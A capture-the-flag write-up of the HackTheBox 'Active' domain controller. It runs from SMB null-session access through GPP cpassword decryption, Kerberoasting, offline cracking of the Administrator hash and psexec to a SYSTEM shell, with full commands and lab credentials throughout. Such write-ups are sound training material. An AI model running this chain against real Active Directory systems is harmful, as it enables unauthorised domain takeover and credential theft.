Skip to content

Active

Field Value
Platform HackTheBox
OS Windows Server 2008 R2 SP1 (Domain Controller)
Difficulty Easy
Initial Vector SMB null session → GPP credentials (Groups.xml)
Privesc Kerberoasting → Administrator hash cracking → psexec

Phase 1 — Reconnaissance

I started with a fast SYN sweep across all TCP ports to map the exposed attack surface, then ran a focused version and script scan against the discovered ports.

nmap -sS -p- --min-rate 5000 10.129.20.236 -n -Pn -oG ports

nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 --min-rate 5000 10.129.20.236 -n -Pn
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-14 20:46:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, ...)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, ...)
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1
smb2-security-mode: Message signing enabled and required
Port Service Version Notes
53 DNS Microsoft DNS 6.1.7601 Windows Server 2008 R2 SP1
88 Kerberos Confirms Domain Controller
139 NetBIOS
389 LDAP Domain: active.htb
445 SMB Signing enabled and required
3268 LDAP (GC) Global Catalog
47001 HTTP Microsoft HTTPAPI 2.0 Returns 404, not interesting

Kerberos on port 88 paired with LDAP on 389 confirmed a Domain Controller. The domain name active.htb was leaked directly by the LDAP banner. SMB signing required on port 445 ruled out relay attacks. The clock skew reported by Nmap was only 1 second, but I added the domain to /etc/hosts before continuing since some shares and services only respond to the hostname rather than the bare IP.

echo "10.129.20.236 active.htb" >> /etc/hosts

Phase 2 — Service Enumeration

SMB (445)

The first step against any exposed SMB service is checking for null or guest session access — older Windows infrastructure, especially Server 2008, is often misconfigured to allow unauthenticated share browsing.

nxc smb 10.129.20.236 -u '' -p '' --shares
Screenshot

The Replication share was readable without any credentials. Non-default shares accessible to unauthenticated sessions are always worth investigating — the name alone was a signal. I connected and explored the directory structure.

smbclient //10.129.20.236/Replication -N

The share mirrored SYSVOL, the domain-wide share responsible for distributing Group Policy Objects. Inside the GPO policy folders I located a Groups.xml file — the target of interest. Group Policy Preferences (GPP) allowed administrators to push local account configurations including passwords across the domain, storing them encrypted with AES-256. Microsoft published the static decryption key in their own MSDN documentation, making every cpassword field in any Groups.xml trivially reversible. MS14-025 patched the ability to create new GPP passwords but did not remove already-deployed files, meaning SYSVOL backups or legacy configurations can still expose credentials long after the patch.

cat Groups.xml
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
userName="active.htb\SVC_TGS"

I decrypted the cpassword value using gpp-decrypt, which implements the known AES key against the base64-encoded ciphertext.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Credentials recovered: SVC_TGS : GPPstillStandingStrong2k18.

With valid credentials I re-enumerated accessible shares — ACLs differ significantly between null and authenticated sessions.

nxc smb 10.129.20.236 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

NETLOGON, Replication, SYSVOL, and Users were all readable. I connected to the Users share to locate the user flag.

smbclient //10.129.20.236/Users -U active.htb/SVC_TGS%'GPPstillStandingStrong2k18'

The flag was found at \SVC_TGS\Desktop\user.txt. Browsing SYSVOL afterwards confirmed that Replication was a direct backup copy of it — the Groups.xml credential was exposed in both locations.

Screenshot

User Enumeration

I built a domain user list using three complementary methods, since each surfaces different information and coverage matters before launching credential attacks.

RID brute-force via NetExec cycles through SID RID values over SMB to resolve account names — effective even when the --users flag alone is restricted by policy.

nxc smb 10.129.20.236 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users --rid-brute | grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
Screenshot

rpcclient enumerated group memberships directly to confirm which accounts held elevated privileges.

rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.129.20.236
enumdomusers
querygroupmem 0x200     # Domain Admins group RID
queryuser 0x1f4         # Administrator resolved by RID
Screenshot

This confirmed Administrator as the sole Domain Admin, narrowing the escalation target to a single account.

ldapsearch validated the active account set by filtering for enabled users only. The -x flag uses simple authentication rather than SASL, -b sets the search base DN, and -s sub performs a recursive subtree search from that base. The useraccountcontrol:1.2.840.113556.1.4.803:=2 expression applies a bitwise AND OID to match the ACCOUNTDISABLE flag; inverting it with ! returns only accounts where that bit is not set.

ldapsearch -x -H ldap://10.129.20.236 \
  -D "SVC_TGS" -w 'GPPstillStandingStrong2k18' \
  -b "dc=active,dc=htb" -s sub \
  "(&(objectCategory=person)(objectClass=user)(!(useraccountcontrol:1.2.840.113556.1.4.803:=2)))" \
  samaccountname | grep sAMAccountName
sAMAccountName: Administrator
sAMAccountName: SVC_TGS

Two enabled accounts in the entire domain — no other users to pivot through.

Kerberos (88)

I corrected the system clock before any Kerberos operations. Kerberos silently rejects requests when the client clock drifts more than ±5 minutes from the DC, making this a required step even when skew appears minimal.

timedatectl set-ntp false
ntpdate -u 10.129.20.236

I first checked for AS-REP roastable accounts — users with pre-authentication disabled, which allows requesting a crackable hash without a valid password.

GetNPUsers.py -usersfile users.txt -request -dc-ip 10.129.20.236 'active.htb/'
[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User DC$ doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User SVC_TGS doesn't have UF_DONT_REQUIRE_PREAUTH set

No accounts were vulnerable to AS-REP roasting. With valid credentials available I moved to Kerberoasting, which requests TGS tickets for any account with a registered Service Principal Name (SPN) and cracks them offline since they are encrypted with the account's NTLM hash.

GetUserSPNs.py active.htb/SVC_TGS:'GPPstillStandingStrong2k18' \
  -dc-ip 10.129.20.236 -request -outputfile kerberoast_hashes.txt
Screenshot

A $krb5tgs$23$ hash was returned for the Administrator account. Having an SPN registered directly against the built-in Administrator is an unusual misconfiguration — SPNs are typically assigned to dedicated service accounts. Here it made the most privileged account in the domain Kerberoastable by any authenticated user.


Phase 3 — Attack Path

Initial Access

Access was obtained as SVC_TGS through the GPP credential chain: null SMB session exposed a SYSVOL backup containing Groups.xml, whose cpassword field decrypted via gpp-decrypt to SVC_TGS : GPPstillStandingStrong2k18. This granted authenticated SMB access across four shares and yielded the user flag at \SVC_TGS\Desktop\user.txt.

Privilege Escalation

The Kerberoast hash recovered for Administrator during Phase 2 enumeration was cracked offline.

john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Screenshot

Administrator credentials recovered: Administrator : Ticketmaster1968.

I verified the credentials over SMB before attempting remote execution.

nxc smb 10.129.20.236 -u 'Administrator' -p 'Ticketmaster1968'
SMB  10.129.20.236  445  DC  [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

WinRM (5985) was not available for this account. I used psexec.py instead — Impacket's implementation authenticates over SMB, uploads a service binary to a writable share, registers it as a Windows service, and returns a SYSTEM-level interactive shell, making it a reliable fallback when WinRM is not exposed.

psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.20.236
Screenshot

Shell obtained as NT AUTHORITY\SYSTEM. The root flag was retrieved from C:\Users\Administrator\Desktop\root.txt.

Screenshot

Flags

Flag Path Value
User \SVC_TGS\Desktop\user.txt FLAG{REDACTED}
Root C:\Users\Administrator\Desktop\root.txt FLAG{REDACTED}

Conclusion

  1. A two-phase Nmap scan identified a Windows Server 2008 R2 SP1 Domain Controller with SMB, LDAP, and Kerberos exposed; the domain active.htb was leaked directly by the LDAP banner.
  2. A null SMB session revealed read access to the Replication share — an unauthenticated backup copy of SYSVOL containing Group Policy Preferences files.
  3. Groups.xml inside the share held a cpassword entry for SVC_TGS; gpp-decrypt recovered the plaintext, yielding SVC_TGS : GPPstillStandingStrong2k18 and the user flag via the Users share.
  4. Authenticated enumeration via NetExec RID brute-force, rpcclient, and ldapsearch confirmed two active domain accounts and established Administrator as the sole Domain Admin.
  5. AS-REP roasting found no vulnerable accounts; Kerberoasting returned a TGS hash for Administrator, whose SPN registration was itself a misconfiguration making the highest-privilege account directly crackable by any authenticated user.
  6. John cracked the hash to Administrator : Ticketmaster1968; psexec.py delivered an NT AUTHORITY\SYSTEM shell and the root flag.

The system fell because an unauthenticated copy of SYSVOL was left exposed over SMB, a pre-MS14-025 GPP credential was never rotated after the patch, and the domain Administrator account had a Service Principal Name registered against it — collapsing the path from zero credentials to Domain Admin into a single, fully automated chain with no exploitation required.